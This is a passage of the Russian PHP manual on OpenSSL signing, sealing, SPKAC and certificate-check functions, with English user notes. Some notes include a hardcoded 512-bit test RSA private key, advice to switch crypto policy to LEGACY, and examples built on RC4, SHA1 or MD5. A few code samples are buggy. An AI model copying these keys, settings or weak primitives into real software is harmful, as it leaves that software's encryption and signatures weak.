$method = 'AES256';

// генерируем IV
$ivLength = openssl_cipher_iv_length( $method );
$iv = openssl_random_pseudo_bytes( $ivLength, $strong );
if (! $strong) {
error_log('Инициализирующий вектор может быть не крипографически сильным!');
}

// запечатываем сообщение, только владельцы $pk1 и $pk2 смогут его распечатать,
// используя ключи $ekeys[0] и $ekeys[1] соответственно.
openssl_seal($data, $sealed, $ekeys, array($pk1, $pk2), $method, $iv);

// освобождаем ресурсы ключей
openssl_free_key($pk1);
openssl_free_key($pk2);
?>

Смотрите также

  • openssl_open() - Открыть запечатанные данные

User Contributed Notes

aaron dot lawrence at umajin dot com 23-Aug-2021 01:49
Some critical details that are not in the docs, nor widely written about elsewhere.

- The envelope key is a 128-bit RSA key, randomly generated.
- The data is encrypted with (A)RC4 using the envelope key.
- The envelope key is encrypted for transmission with PKCS1 v1.5. It is NOT the OAEP padding variant.  PKCS1 v1.5 is even older, and not widely supported anymore.

At least this was true for openssl_seal in PHP 7.2 that we are using.

(Note: In Python you can decrypt this envelope key with the Cryptography package, using padding.PKCS1v15())

The combination of RC4 and PKCS1 v1.5 make this function actually semi-obsolete for security use in my opinion.
Dominik M. 01-Oct-2020 12:58
Please note that openssl_seal() cannot be used for EC encryption.
Took me literally two hours to find out because the OpenSSL documentation is so bad.
amer.alhabsi AT gmail DOT com 28-May-2016 07:58
while the default is using RC4, it is possible to use other more secure algorithms. These are specified as the fifth parameter. Also, one needs to add an initialization vector (random bytes). Eg.

<?php
    $data = "This is top secret.";
    // fetch public keys for our recipients, and ready them
    $cert = file_get_contents('./cert.pem');

    $pk1 = openssl_get_publickey($cert);
    $iv = openssl_random_pseudo_bytes(32);
    openssl_seal($data, $sealed, $ekeys, array($pk1), "AES256", $iv);

    // free the keys from memory
    openssl_free_key($pk1);
    echo base64_encode($sealed);
?>
bowfingermail at gmx dot net 24-Oct-2015 02:52
According to several sources (e.g. crypto101.io or Wikipedia) RC4 is not safe and not supposed to be used anymore.
So, shouldn't openssl_seal use another stream cipher in place of RC4?
hfuecks at nospam dot org 29-Oct-2007 07:44
openssl_seal() can work well when you need to pass data securely to other platforms / languages. What openssl_seal() does is;

1. Generate a random key
2. Encrypt the data symmetrically with RC4 using the random key
3. Encrypt the random key itself with RSA using the public key / certificate
4. Returns the encrypted data and the encrypted key

So to decrypt the steps are simply;

1. Decrypt the key using RSA and your private key
2. Decrypt the data using RC4 and the decrypted key

The trickiest part may be figuring out how handle the private key - BouncyCastle ( http://www.bouncycastle.org/ ) provides a PEMReader for Java and C# while Not Yet commons-ssl ( http://juliusdavies.ca/commons-ssl/ ) has a KeyStoreBuilder to build Java keystores out of a PEM certificate.

A complete example in Java is described at http://blog.local.ch/archive/2007/10/29/openssl-php-to-java.html
devel@no-spam 15-Jun-2005 06:20
"seals (encrypts) data by using RC4 with a randomly generated secret key"
It should be noted that the randomly generated secret key is 128 bits long (openssl: EVP_rc4(void):  RC4 stream cipher. This is a variable key length cipher with default key length 128 bits.)


Генерация подписи

  • « openssl_seal
  • openssl_spki_export_challenge »
  • PHP Manual
  • Функции OpenSSL
  • Генерация подписи

openssl_sign

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

openssl_sign — Генерация подписи

Описание

openssl_sign(
string $data,
string &$signature,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key,
string|int $algorithm = OPENSSL_ALGO_SHA1
): bool

openssl_sign() вычисляет подпись данных data путём генерации криптографического цифрового слепка с использованием секретного ключа private_key. Обратите внимание, что сами данные не шифруются.

Список параметров

data

Строка данных, для которых вы хотите получить отпечаток

signature

Если функция отработает успешно, то подпись будет помещена в переменную, заданную в signature.

private_key

Идентификатор ключа, типа OpenSSLAsymmetricKey, полученный из openssl_get_privatekey()

Строка, представляющая собой ключ в формате PEM.

algorithm

Целое число, определяющее алгоритм. Смотрите алгоритмы подписи.

Строка, возвращённая openssl_get_md_methods(). Например, "sha256WithRSAEncryption" или "sha384".

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | private_key теперь принимает экземпляр OpenSSLAsymmetricKey или OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL key или OpenSSL X.509.

Примеры

Пример #1 Пример использования openssl_sign()

<?php
// $data содержит данные для генерации подписи

// Извлекаем секретный ключ из файла и подготавливаем
$pkeyid = openssl_pkey_get_private("file://src/openssl-0.9.6/demos/sign/key.pem");

// Вычисляем подпись
openssl_sign($data, $signature, $pkeyid);

// Высвобождаем ресурс ключа
openssl_free_key($pkeyid);
?>

Пример #2 Пример использования openssl_sign()

<?php
//Данные для генерации сигнатуры
$data = 'my data';

//Создаём новую пару открытый/закрытый ключ
$new_key_pair = openssl_pkey_new(array(
"private_key_bits" => 2048,
"private_key_type" => OPENSSL_KEYTYPE_RSA,
));
openssl_pkey_export($new_key_pair, $private_key_pem);

$details = openssl_pkey_get_details($new_key_pair);
$public_key_pem = $details['key'];

//Вычисляем подпись
openssl_sign($data, $signature, $private_key_pem, OPENSSL_ALGO_SHA256);

//Сохраняем
file_put_contents('private_key.pem', $private_key_pem);
file_put_contents('public_key.pem', $public_key_pem);
file_put_contents('signature.dat', $signature);

//Сверяем подпись
$r = openssl_verify($data, $signature, $public_key_pem, "sha256WithRSAEncryption");
var_dump($r);
?>

Смотрите также

  • openssl_verify() - Сверка сигнатуры

User Contributed Notes

tim at remitone dot com 11-Jul-2023 01:44
It should be noted that the default signature algorithm used by openssl_sign() and openssl_verify (OPENSSL_ALGO_SHA1) is no longer supported by default in OpenSSL Version 3 series.

With an up to date OpenSSL library, one has to run
"update-crypto-policies --set LEGACY"
on the server where the library resides in order to allow these functions to work without the optional alternative algorithm argument.
Chris Kistner 20-Jul-2010 05:53
The list of Signature Algorithms (constants) is very limited! Fortunately the newer versions of php/openssl allow you to specify the signature algorithm as a string.

You can use the 'openssl_get_md_methods' method to get a list of digest methods. Only some of them may be used to sign with RSA private keys.

Those that can be used to sign with RSA private keys are: md4, md5, ripemd160, sha, sha1, sha224, sha256, sha384, sha512

Here's the modified Example #1 with SHA-512 hash:
<?php
// $data is assumed to contain the data to be signed

// fetch private key from file and ready it
$fp = fopen("/src/openssl-0.9.6/demos/sign/key.pem", "r");
$priv_key = fread($fp, 8192);
fclose($fp);
$pkeyid = openssl_get_privatekey($priv_key);

// compute signature with SHA-512
openssl_sign($data, $signature, $pkeyid, "sha512");

// free the key from memory
openssl_free_key($pkeyid);
?>
edmarw at yahoo dot com 04-Sep-2007 09:22
This may help if you just want a real-simple private/public key pair:

<?php

$data = "Beeeeer is really good.. hic...";

// You can get a simple private/public key pair using:
// openssl genrsa 512 >private_key.txt
// openssl rsa -pubout <private_key.txt >public_key.txt

// IMPORTANT: The key pair below is provided for testing only.
// For security reasons you must get a new key pair
// for production use, obviously.

$private_key = <<<EOD
-----BEGIN RSA PRIVATE KEY-----
MIIBOgIBAAJBANDiE2+Xi/WnO+s120NiiJhNyIButVu6zxqlVzz0wy2j4kQVUC4Z
RZD80IY+4wIiX2YxKBZKGnd2TtPkcJ/ljkUCAwEAAQJAL151ZeMKHEU2c1qdRKS9
sTxCcc2pVwoAGVzRccNX16tfmCf8FjxuM3WmLdsPxYoHrwb1LFNxiNk1MXrxjH3R
6QIhAPB7edmcjH4bhMaJBztcbNE1VRCEi/bisAwiPPMq9/2nAiEA3lyc5+f6DEIJ
h1y6BWkdVULDSM+jpi1XiV/DevxuijMCIQCAEPGqHsF+4v7Jj+3HAgh9PU6otj2n
Y79nJtCYmvhoHwIgNDePaS4inApN7omp7WdXyhPZhBmulnGDYvEoGJN66d0CIHra
I2SvDkQ5CmrzkW5qPaE2oO7BSqAhRZxiYpZFb5CI
-----END RSA PRIVATE KEY-----
EOD;
$public_key = <<<EOD
-----BEGIN PUBLIC KEY-----
MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDiE2+Xi/WnO+s120NiiJhNyIButVu6
zxqlVzz0wy2j4kQVUC4ZRZD80IY+4wIiX2YxKBZKGnd2TtPkcJ/ljkUCAwEAAQ==
-----END PUBLIC KEY-----
EOD;

$binary_signature = "";

// At least with PHP 5.2.2 / OpenSSL 0.9.8b (Fedora 7)
// there seems to be no need to call openssl_get_privatekey or similar.
// Just pass the key as defined above
openssl_sign($data, $binary_signature, $private_key, OPENSSL_ALGO_SHA1);

// Check signature
$ok = openssl_verify($data, $binary_signature, $public_key, OPENSSL_ALGO_SHA1);
echo "check #1: ";
if ($ok == 1) {
    echo "signature ok (as it should be)\n";
} elseif ($ok == 0) {
    echo "bad (there's something wrong)\n";
} else {
    echo "ugly, error checking signature\n";
}

$ok = openssl_verify('tampered'.$data, $binary_signature, $public_key, OPENSSL_ALGO_SHA1);
echo "check #2: ";
if ($ok == 1) {
    echo "ERROR: Data has been tampered, but signature is still valid! Argh!\n";
} elseif ($ok == 0) {
    echo "bad signature (as it should be, since data has beent tampered)\n";
} else {
    echo "ugly, error checking signature\n";
}

?>
adam dot mansfeld at gmail dot com 19-Oct-2005 12:50
Hello,

the fourth parameter 'signature_alg' to choose the signature algorithm can be one of:

OPENSSL_ALGO_SHA1
OPENSSL_ALGO_MD5
OPENSSL_ALGO_MD4
OPENSSL_ALGO_MD2

Just for the case that somebody needs this.

Regards


Экспорт вызова, связанного с подписанным ключом и вызовом

  • « openssl_sign
  • openssl_spki_export »
  • PHP Manual
  • Функции OpenSSL
  • Экспорт вызова, связанного с подписанным ключом и вызовом

openssl_spki_export_challenge

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

openssl_spki_export_challenge — Экспорт вызова, связанного с подписанным ключом и вызовом

Описание

openssl_spki_export_challenge(string $spki): string|false

Экспорт вызова из подписанного открытого ключа и вызова.

Список параметров

spki

Корректный подписанный открытый ключ с вызовом

Возвращаемые значения

Возвращает строку вызова или false в случае возникновения ошибки.

Ошибки

Вызывает ошибку уровня E_WARNING, если в параметр spki переданы некорректные данные.

Примеры

Пример #1 Пример использования openssl_spki_export_challenge()

Возвращает строку вызова или null в случае возникновения ошибки.

<?php
$pkey = openssl_pkey_new('secret password');
$spkac = openssl_spki_new($pkey, 'challenge string');
$challenge = openssl_spki_export_challenge(preg_replace('/SPKAC=/', '', $spkac));
?>

Пример #2 Пример использование openssl_spki_export_challenge() с <keygen>

Извлечение строки вызова, полученной из элемента <keygen>

<?php
$challenge = openssl_spki_export_challenge(preg_replace('/SPKAC=/', '', $_POST['spkac']));
?>
<keygen name="spkac" challenge="challenge string" keytype="RSA">

Смотрите также

  • openssl_spki_new() - Создание нового подписанного открытого ключа с вызовом
  • openssl_spki_verify() - Проверяет подписанный открытый ключ и вызов
  • openssl_spki_export() - Экспорт открытого ключа в формате PEM из подписанного открытого ключа с вызовом
  • openssl_get_md_methods() - Получить список доступных методов хеширования
  • openssl_csr_new() - Генерирует CSR
  • openssl_csr_sign() - Подписать CSR с помощью другого сертификата (или им же) и создать сертификат

User Contributed Notes

There are no user contributed notes for this page.


Экспорт открытого ключа в формате PEM из подписанного открытого ключа с вызовом

  • « openssl_spki_export_challenge
  • openssl_spki_new »
  • PHP Manual
  • Функции OpenSSL
  • Экспорт открытого ключа в формате PEM из подписанного открытого ключа с вызовом

openssl_spki_export

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

openssl_spki_export — Экспорт открытого ключа в формате PEM из подписанного открытого ключа с вызовом

Описание

openssl_spki_export(string $spki): string|false

Экспортирует открытый ключ в формате PEM из подписанного открытого ключа с вызовом

Список параметров

spki

Корректный открытый ключ с вызовом.

Возвращаемые значения

Возвращает открытый ключ в формате PEM или false в случае возникновения ошибки.

Ошибки

Вызывает ошибку уровня E_WARNING если в параметр spki переданы некорректные данные.

Примеры

Пример #1 Пример использования openssl_spki_export()

Возвращает открытый ключ в формате PEM или null в случае возникновения ошибки.

<?php
$pkey = openssl_pkey_new('secret password');
$spkac = openssl_spki_new($pkey, 'challenge string');
$pubKey = openssl_spki_export(preg_replace('/SPKAC=/', '', $spkac));

if ($pubKey) {
echo $pubKey;
}
?>

Пример #2 Пример использования openssl_spki_export() с <keygen>

Возвращает открытый ключ в формате PEM, полученный из элемента <keygen>

<?php
$spkac = openssl_spki_export(preg_replace('/SPKAC=/', '', $_POST['spkac']));
if ($spkac != NULL) {
echo $spkac;
} else {
echo "Не удалось извлечь открытый ключ";
}
?>
<keygen name="spkac" challenge="challenge string" keytype="RSA">

Смотрите также

  • openssl_spki_new() - Создание нового подписанного открытого ключа с вызовом
  • openssl_spki_verify() - Проверяет подписанный открытый ключ и вызов
  • openssl_spki_export_challenge() - Экспорт вызова, связанного с подписанным ключом и вызовом
  • openssl_get_md_methods() - Получить список доступных методов хеширования
  • openssl_csr_new() - Генерирует CSR
  • openssl_csr_sign() - Подписать CSR с помощью другого сертификата (или им же) и создать сертификат

User Contributed Notes

There are no user contributed notes for this page.


Создание нового подписанного открытого ключа с вызовом

  • « openssl_spki_export
  • openssl_spki_verify »
  • PHP Manual
  • Функции OpenSSL
  • Создание нового подписанного открытого ключа с вызовом

openssl_spki_new

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

openssl_spki_new — Создание нового подписанного открытого ключа с вызовом

Описание

openssl_spki_new(OpenSSLAsymmetricKey $private_key, string $challenge, int $digest_algo = OPENSSL_ALGO_MD5): string|false

Создаёт новый подписанный открытый ключ с вызовом, используя указанный алгоритм хеширования.

Список параметров

private_key

private_key задаётся секретным ключом, созданным ранее функцией openssl_pkey_new() (или полученный другим образом). Соответствующая открытая часть ключа будет использована для подписи CSR.

challenge

Вызов, связанный с SPKAC

digest_algo

Алгоритм хеширования. Смотрите openssl_get_md_method().

Возвращаемые значения

Возвращает подписанный открытый ключ со строкой вызова или false в случае возникновения ошибки.

Ошибки

Вызывает ошибку уровня E_WARNING, если указан некорректный алгоритм в digest_algo.

Список изменений

Версия | Описание
8.0.0 | private_key теперь принимает экземпляр OpenSSLAsymmetricKey; ранее принимался ресурс (resource) типа OpenSSL key.

Примеры

Пример #1 Пример использования openssl_spki_new()

Создаёт новый SPKAC с использованием алгоритма по умолчанию (MD5)

<?php
$pkey = openssl_pkey_new('secret password');
$spkac = openssl_spki_new($pkey, 'testing');

if ($spkac !== NULL) {
echo $spkac;
} else {
echo "Генерация SPKAC не удалась";
}
?>

Результатом выполнения данного примера будет что-то подобное:

MIICRzCCAS8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDM3V3sS4o4
mB9dczziRnjGAmSp+JwPrHoYMAFGvDNmZGyiWfU586X4BKs++BAj7e/FsAfno0Hd
hN9FwpCNFSox30L03nQvLYJE7f/WqigwBeMRT7Op/xvFks4sT70xP2HRYv4KqP9a
WRcKU6cFH8VxhFhqM2txEIxZKdFLaL28yT7bEDmcglf4JLDdgNMb9rET1dkgtKE6
dOaJHPGjf1uvnOH4YwkQr7n4sLUR3Kdbh0ZJAFuQVDZulo+LLzxBBkqJJcB6FhF+
oXCdHTKZnqAhpWDz+NXYytAmevab6IYm5TWPWsJUv1YKJA5lg2mXbbloIZlN9Mgc
i9fi03bdw+crAgMBAAEWB3Rlc3RpbmcwDQYJKoZIhvcNAQEEBQADggEBALyUvP/o
pPSoWBlorFyZ2RnGwKf9qMpE0q2IJP7G3oDR4LyK/m933DUiZ+YnqThrH/CWb4Ek
y5I3OCyl3S4wCuU1ibZZwDVwYShr5ELp0J9PEf7qMQZOhNsizoC7k+Czb2xB6hYW
sKfsfTKm3cXBtH3fdgc/Z1Z7VSWnAzYo38snqm72NTf5yFRnrQdphNNXi+kn1zHA
lxXRyFDXHOcYsOnwAWfyXFA4QDHQ0ezz0UoCY8gJXovcZb4GRYqOLUAsF2HcNboy
29WN8VqE29sL9QxVZFlwMcqyoLcNnyw38GvNvAGqSvzzbnEFP2MAQXJVe0H0hdp/
MML5G2iNVgNozAo=

Смотрите также

  • openssl_spki_verify() - Проверяет подписанный открытый ключ и вызов
  • openssl_spki_export_challenge() - Экспорт вызова, связанного с подписанным ключом и вызовом
  • openssl_spki_export() - Экспорт открытого ключа в формате PEM из подписанного открытого ключа с вызовом
  • openssl_get_md_methods() - Получить список доступных методов хеширования
  • openssl_csr_new() - Генерирует CSR
  • openssl_csr_sign() - Подписать CSR с помощью другого сертификата (или им же) и создать сертификат

User Contributed Notes

julian at NOSPAM dot developer-heaven dot de 18-Jun-2016 05:50
The usage of openssl_pkey_new() in the example above is wrong.
openssl_pkey_new() requires an array as first parameter

Working example for openssl_pkey_new():
http://php.net/manual/de/function.openssl-pkey-new.php#111769


Проверяет подписанный открытый ключ и вызов

  • « openssl_spki_new
  • openssl_verify »
  • PHP Manual
  • Функции OpenSSL
  • Проверяет подписанный открытый ключ и вызов

openssl_spki_verify

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

openssl_spki_verify — Проверяет подписанный открытый ключ и вызов

Описание

openssl_spki_verify(string $spki): bool

Проверяет подписанный открытый ключ и вызов

Список параметров

spki

Корректный подписанный открытый ключ и вызов

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Вызывает ошибку уровня E_WARNING, если в параметр spki переданы некорректные данные.

Примеры

Пример #1 Пример использования openssl_spki_verify()

Проверка существующего подписанного открытого ключа с вызовом

<?php
$pkey = openssl_pkey_new('secret password');
$spkac = openssl_spki_new($pkey, 'challenge string');

if (openssl_spki_verify(preg_replace('/SPKAC=/', '', $spkac))) {
echo $spkac;
} else {
echo "Проверка SPKAC не удалась";
}
?>

Пример #2 Пример использования openssl_spki_verify() с <keygen>

Проверка существующего подписанного открытого ключа и вызова, полученного из элемента <keygen>

<?php
if (openssl_spki_verify(preg_replace('/SPKAC=/', '', $_POST['spkac']))) {
echo $spkac;
} else {
echo "Проверка SPKAC не удалась";
}
?>
<keygen name="spkac" challenge="challenge string" keytype="RSA">

Смотрите также

  • openssl_spki_new() - Создание нового подписанного открытого ключа с вызовом
  • openssl_spki_export_challenge() - Экспорт вызова, связанного с подписанным ключом и вызовом
  • openssl_spki_export() - Экспорт открытого ключа в формате PEM из подписанного открытого ключа с вызовом
  • openssl_get_md_methods() - Получить список доступных методов хеширования
  • openssl_csr_new() - Генерирует CSR
  • openssl_csr_sign() - Подписать CSR с помощью другого сертификата (или им же) и создать сертификат

User Contributed Notes

neat at neato dot com 25-Jun-2020 10:40
The challenge is not how to very a "trick". It is used as a partial non-repudiation method.

The idea was the challenge could be extracted from the base64 encoded ASN.1 PKCS#1 bits provided from the 'keygen' element.

The SPKAC is a form of CSR which if the right about of information such as the commonName, emailAddress, countryName, stateOrProvinceName, localityName et al., a signed x509 could generated and provided to the requestor.

This would then be installed in the browser and if the webserver was configured to accept client x509 certificates, it would be used in lieu of a password for authentication.

A recommendation was to use the 'challenge' as a form of non-repudiation in the event someone else was on your keyboard. If the application required it could prompt you for the challenge and compare it to a hashed version it stored upon the initial SPKAC process.

Hope that helps clear it up.
carloshlfzanon at gmail dot com 26-Apr-2017 08:54
This openssl_spki_* funcs are very usefull to use with <keygen/> tag in html5.

Example:

<?php
session_start();

// form submitted... (?)
if(isset($_POST['security']))
{
    // If true, the send from <keygen/> is valid and you can
    // test the challenge too
    if(openssl_spki_verify($_POST['security']))
    {
        // Gets challenge string
        $challenge = openssl_spki_export_challenge($_POST['security']);

        // If true... you are not trying to trick it.
        // If user open 2 windows to prevent data lost from a "mistake" or him just press "back" button
        //  and re-send last data... you can handle it using something like it.
        if($challenge == $_SESSION['lastForm'])
        {
            echo 'Ok, this one is valid.', '<br><br>';
        }
        else
        {
            echo 'Nice try... nice try...', '<br><br>';
        }
    }

}

// If you open two window, the challenge won't match!
$_SESSION['lastForm'] = hash('md5', microtime(true));

?>

<!DOCTYPE html>
<html>
<body>

<form action="/index.php" method="post">
  Encryption: <keygen name="security" keytype="rsa" challenge="<?php echo $_SESSION['lastForm']; ?>"/>
  <input type="submit">
</form>

</body>
</html>


Сверка сигнатуры

  • « openssl_spki_verify
  • openssl_x509_check_private_key »
  • PHP Manual
  • Функции OpenSSL
  • Сверка сигнатуры

openssl_verify

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

openssl_verify — Сверка сигнатуры

Описание

openssl_verify(
string $data,
string $signature,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $public_key,
string|int $algorithm = OPENSSL_ALGO_SHA1
): int|false

openssl_verify() проверяет, что подпись signature корректна для данных data и открытого ключа public_key. Открытый ключ должен соответствовать закрытому ключу, с помощью которого генерировалась подпись.

Список параметров

data

Проверяемые данные

signature

Необработанная бинарная строка, созданная функцией openssl_sign() или её аналогом

public_key

Переменная типа OpenSSLAsymmetricKey, содержащая ключ, подготовленный openssl_get_publickey()

Строка с ключом в формате PEM. Примерно такого вида -----BEGIN PUBLIC KEY----- MIIBCgK....

algorithm

Целое число, соответствующее одному из алгоритмов подписи.

Строка, возвращённая openssl_get_md_methods(), например "sha1WithRSAEncryption" или "sha512".

Возвращаемые значения

Возвращает 1, если подпись корректная, 0, если нет и -1 или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | public_key теперь принимает экземпляр OpenSSLAsymmetricKey или OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL key или OpenSSL X.509.

Примеры

Пример #1 Пример использования openssl_verify()

<?php
// $data и $signature содержат данные и подпись соответственно

// Извлекает открытый ключ из сертификата и подготавливаем его
$pubkeyid = openssl_pkey_get_public("file://src/openssl-0.9.6/demos/sign/cert.pem");

// Проверяем, корректна ли подпись
$ok = openssl_verify($data, $signature, $pubkeyid);
if ($ok == 1) {
echo "Подпись корректная";
} elseif ($ok == 0) {
echo "Подпись некорректная";
} else {
echo "Произошла какая-то ошибка, печаль :(";
}
// Удаляем ключ из памяти
openssl_free_key($pubkeyid);
?>

Пример #2 Пример использования openssl_verify()

<?php
//Данные для генерации подписи
$data = 'my data';

//Создаём новую пару открытый/закрытый ключ
$private_key_res = openssl_pkey_new(array(
"private_key_bits" => 2048,
"private_key_type" => OPENSSL_KEYTYPE_RSA,
));
$details = openssl_pkey_get_details($private_key_res);
$public_key_res = openssl_pkey_get_public($details['key']);

//Вычисляем подпись
openssl_sign($data, $signature, $private_key_res, "sha256WithRSAEncryption");

//Сверяем подпись
$ok = openssl_verify($data, $signature, $public_key_res, OPENSSL_ALGO_SHA256);
if ($ok == 1) {
echo "корректна";
} elseif ($ok == 0) {
echo "некорректна";
} else {
echo "ошибка: ".openssl_error_string();
}
?>

Смотрите также

  • openssl_sign() - Генерация подписи

User Contributed Notes

phpdev at fpierrat dot fr 20-Sep-2021 01:17
As stated from the doc: "Returns 1 if the signature is correct, 0 if it is incorrect, and -1 or false on error. "

In the second example as a well as in Stiv's note, following condition will match for both 0 or false, which have different meaning:
elseif ($ok == 0) {
    echo "bad";
}

On should do an identical test here (===) instead of an equal test (==):
elseif ($ok === 0) {
    echo "bad";
}
---
var_dump(0==false); //==> true
var_dump(0===false);//==> false
peter dot labos at gmail dot com 23-Jan-2018 02:10
openssl_verify() is populating openssl_error_string() even on false.

When openssl_verify() returns 0, openssl_error_string() is populated with 1.
I spent lot of time to understand, while my next call to openssl was failing with checks for error.

<?php
$c = file_get_contents($filename);
$publicKey = openssl_pkey_get_public($c);
$result = openssl_verify('freedom', 'someirrelevantnosign', $publicKey);

$error = "";

while ($msg = openssl_error_string() !== false) {
    $error .= $msg;
}

if (!empty($error)) {
    echo $error; // 1
}
attila dot m dot magyar at gmail dot com 26-Aug-2014 09:37
mikey at badpenguins dot com -- validating an X509 certificate chain in php seems to be possible with openssl_x509_checkpurpose()
jeremie dot gomez at gmail dot com 31-Aug-2011 11:08
You can actually use the public key as third parameter and not the certificate.

If you can't make it work, make sure that :

1) Your public key is well formatted. It seems that it must have the ----BEGIN PUBLIC KEY---- and ----END PUBLIC KEY----

2) Your signature is in binary format. You can use the php base64_decode for this.
mikey at badpenguins dot com 06-Jun-2010 09:04
I spent days scouring the php openssl documentation trying to figure out how to do what sounds like a simple task - given two PEM encoded certificates, is one the signer of the other?  Nowhere in the openssl_verify() documentation or comments is it explained where to obtain the signature of an existing certificate.  The openssl_x509_parse() function looked promising, but it is an unstable API that may change.

I had to write my own code to determine if one cert signed another, it is located here: http://badpenguins.com/source/misc/isCertSigner.php?viewSource

In a nutshell here is what I learned...

The signature data in a signed X.509 certificate contains DER formatted data about the signature that is encrypted with the signers public key.  The data contains a hash of the original subject certificate and information about what encryption algorithm was used to create the signature.

So you need to get this signature data and a copy of the original certificate with the issuer and signature sequences removed.  Hash a copy of the original certificate (sans issuer/signature sequences) with the same algorithm the issuer used and if the hashes match, you have the issuer cert that signed the certificate.
Stiv 02-Mar-2006 06:34
I've finally found a way to verify signature. Sample in the documentation doesn't work. Code bellow DOES work :)

<?php
// $data is assumed to contain the data to be signed

// fetch certificate from file and ready it
$fp = fopen("path/file.pem", "r");
$cert = fread($fp, 8192);
fclose($fp);

// state whether signature is okay or not
// use the certificate, not the public key
$ok = openssl_verify($data, $signature, $cert);
if ($ok == 1) {
    echo "good";
} elseif ($ok == 0) {
    echo "bad";
} else {
    echo "ugly, error checking signature";
}
?>
steve dot venable at lmco dot com 30-May-2002 12:36
A note about the openssl_verify() (and some of the other functions).  The public key comes from a certificate in any of the support formats (as the example shows, use openssl_get_publickey() to get the resource id).  But after some trial and error I found the signature string MUST BE BINARY.  While no error occurs, passing a base64-formatted signature string (PEM format?), you simply get a mismatch.  When I did the base64 decode myself, the verify returned a match (return value 1).  You can simply drop the begin/end lines and take the output of the 'base64_decode()' function.
meint dot post at bigfoot dot com 09-Jun-2001 11:56
Anbybody trying to get a Win32 CryptoAPI based digital signature component to work with the openssl_verify() function should be aware that the CryptoAPI PKCS1 (RSA) method uses bytes in reverse order while the openssl_verify() method expects a correctly formatted PKCS1 digital signature (as should be). I learned this the hard way and it took me some time to dig this out. A simple solution in VBScript to reverse the byte order:

N = Len(Blob.Hex)

' reverse bytes in the signature using Hex format
For i = 1 To N - 1 Step 2
    s = Mid(Blob, i, 2) & s
Next

s contains the digital signature in reverse order. Blob is an arbitrary binary container.

Send the signature off in Hex format and use a hex2bin method in PHP to convert to the correct format for openssl_verify(), i.e.

function hex2bin($data) {

    $len = strlen($data);
    return pack("H" . $len, $data);

}

That's it, hope it helps out. BTW I used ASPEncrypt to toy around with on Win32 platform. Works only with Internet Explorer but you could also use a Java applet and have none of the abovementioned problems :-)


Проверить, относится ли секретный ключ к сертификату

  • « openssl_verify
  • openssl_x509_checkpurpose »
  • PHP Manual
  • Функции OpenSSL
  • Проверить, относится ли секретный ключ к сертификату

openssl_x509_check_private_key

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_x509_check_private_key — Проверить, относится ли секретный ключ к сертификату

Описание

openssl_x509_check_private_key(OpenSSLCertificate|string $certificate, OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key): bool

Проверяет, что заданный private_key является секретным ключом, соответствующим сертификату certificate.

Внимание

Функция не проверяет, является ли private_key секретным ключом или нет. Он просто сравнивает открытые данные (например, экспоненту и модуль ключа RSA) и/или параметры ключа (например, параметры EC для EC-ключа) пары ключей.

То есть, если поместить в private_key соответствующий открытый ключ, то функция может вернуть true.

Список параметров

certificate

Сертификат.

private_key

Ключ.

Возвращаемые значения

Возвращает true, если private_key является ключом соответствующим сертификату certificate, или false в противном случае.

Список изменений

Версия | Описание
8.0.0 | certificate теперь принимает экземпляр OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL X.509.
8.0.0 | private_key теперь принимает экземпляр OpenSSLAsymmetricKey или OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL key или OpenSSL X.509.

User Contributed Notes

tomsie at toms dot ie 05-Dec-2017 01:51
This function DOES return TRUE if the key has a passphrase, you just need to set up the data in such a way that the function can understand it. It is not documented here.

This error message led me to the solution:

PHP Warning:  openssl_x509_check_private_key(): key array must be of the form array(0 =&gt; key, 1 =&gt; phrase)

So this works:

$certFile = file_get_contents('cert.crt');
$keyFile = file_get_contents('cert.key');
$keyPassphrase = "password1234";
$keyCheckData = array(0=>$keyFile,1=>$keyPassphrase);
$result = openssl_x509_check_private_key($certFile,$keyCheckData);
jared at enhancesoft dot com 24-Apr-2015 08:58
This function will return FALSE if the private key requires a pass phrase.


Проверяет, можно ли использовать сертификат для конкретных задач

  • « openssl_x509_check_private_key
  • openssl_x509_export_to_file »
  • PHP Manual
  • Функции OpenSSL
  • Проверяет, можно ли использовать сертификат для конкретных задач

openssl_x509_checkpurpose

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_x509_checkpurpose — Проверяет, можно ли использовать сертификат для конкретных задач

Описание

openssl_x509_checkpurpose(
OpenSSLCertificate|string $certificate,
int $purpose,
array $ca_info = [],
?string $untrusted_certificates_file = null
): bool|int

openssl_x509_checkpurpose() проверяет сертификат, чтобы узнать, может ли он использоваться с заданной целью purpose.

Список параметров

certificate

Сертификат.

purpose

Цели openssl_x509_checkpurpose()
Константа | Описание
X509_PURPOSE_SSL_CLIENT | Можно ли использовать сертификат для SSL соединения на стороне клиента?
X509_PURPOSE_SSL_SERVER | Можно ли использовать сертификат для SSL соединения на стороне сервера?
X509_PURPOSE_NS_SSL_SERVER | Можно ли использовать для сервера Netscape SSL?
X509_PURPOSE_SMIME_SIGN | Можно ли подписывать S/MIME email?
X509_PURPOSE_SMIME_ENCRYPT | Можно ли шифровать S/MIME email?
X509_PURPOSE_CRL_SIGN | Можно ли им подписывать список отзыва сертификатов (CRL)?
X509_PURPOSE_ANY | Можно ли использовать для любых задач?
Эти опции не являются бинарной маской - можно использовать только одно значение за раз!

ca_info

ca_info должен содержать массив доверенных CA файлов/директорий, как описано на странице проверки сертификатов.

untrusted_certificates_file

